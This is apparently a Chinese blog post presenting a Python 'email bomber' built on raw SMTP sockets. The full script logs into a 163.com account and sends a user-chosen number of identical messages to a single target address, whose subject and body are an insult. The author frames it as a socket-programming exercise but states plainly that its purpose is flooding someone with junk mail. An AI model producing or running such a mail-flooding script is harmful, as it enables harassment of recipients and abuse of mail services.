python实现邮箱轰炸机

 最近在学计算机网络看到套接字的练习

于是应用SMTP协议写了个发送邮箱的玩玩

可以发一大堆垃圾邮件给对方

其中参考了

关于发邮件报错535 Error:authentication failed解决方法http://t.csdnimg.cn/Bc0Dq

已经查询如何获取网易邮箱客户端授权码

base64编码

import base64
import time
from socket import *

subject = "heng hong jun shi sha bi"#邮箱标题
contenttype = "text/plain"
msg = "heng hong jun shi sha bi"#内容
endmsg = "\r\n.\r\n"

mailserver = "smtp.163.com"

fromaddress = "@163.com"#输入你的163.com邮箱
toaddress = "@qq.com"#输入对方邮箱

username = "@163.com"#输入你的邮箱
password = "******"#输入客户端授权码,参考:http://t.csdnimg.cn/Bc0Dq

username_base64 = base64.b64encode(username.encode()).decode()
password_base64 = base64.b64encode(password.encode()).decode()

clientSocket = socket(AF_INET, SOCK_STREAM)
clientSocket.connect((mailserver, 25))

recv = clientSocket.recv(1024).decode()
print(recv)
if recv[:3] != '220':
    print('220 reply not received from server.')
    exit()

# Send HELO command and print server response.
heloCommand = 'HELO Alice\r\n'
clientSocket.send(heloCommand.encode())
recv1 = clientSocket.recv(1024).decode()
print(recv1)
if recv1[:3] != '250':
    print('250 reply not received from server.')
    exit()

# Auth
clientSocket.sendall('AUTH LOGIN\r\n'.encode())
recv = clientSocket.recv(1024).decode()
print(recv)
if (recv[:3] != '334'):
    print('334 reply not received from server')
    exit()

clientSocket.sendall((username_base64 + '\r\n').encode())
recv = clientSocket.recv(1024).decode()
print(recv)
if (recv[:3] != '334'):
    print('334 reply not received from server')
    exit()

clientSocket.sendall((password_base64 + '\r\n').encode())
recv = clientSocket.recv(1024).decode()
print(recv)
if (recv[:3] != '235'):
    print('235 reply not received from server')
    exit()

cnt=int(input())#输入发送次数

while(cnt>0):
    cnt-=1

    # Send MAIL FROM command and print server response.
    clientSocket.sendall(('MAIL FROM: <' + fromaddress + '>\r\n').encode())
    recv = clientSocket.recv(1024).decode()
    print(recv)
    if (recv[:3] != '250'):
        print('250 reply not received from server')
        exit()

    # Send RCPT TO command and print server response.
    clientSocket.sendall(('RCPT TO: <' + toaddress + '>\r\n').encode())
    recv = clientSocket.recv(1024).decode()
    print(recv)
    if (recv[:3] != '250'):
        print('250 reply not received from server')
        exit()

    # Send DATA command and print server response.
    clientSocket.send('DATA\r\n'.encode())
    recv = clientSocket.recv(1024).decode()
    print(recv)
    if (recv[:3] != '354'):
        print('354 reply not received from server')
        exit()

    # Send message data.
    message = 'from:' + fromaddress + '\r\n'
    message += 'to:' + toaddress + '\r\n'
    message += 'subject:' + subject + '\r\n'
    message += 'Content-Type:' + contenttype + '\t\n'
    message += '\r\n' + msg
    clientSocket.sendall(message.encode())

    # Message ends with a single period.
    clientSocket.sendall(endmsg.encode())
    recv = clientSocket.recv(1024).decode()
    print(recv)
    if (recv[:3] != '250'):
        print('250 reply not received from server')
        exit()

# Send QUIT command and get server response.
clientSocket.sendall('QUIT\r\n'.encode())

# Close connection
clientSocket.close()

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值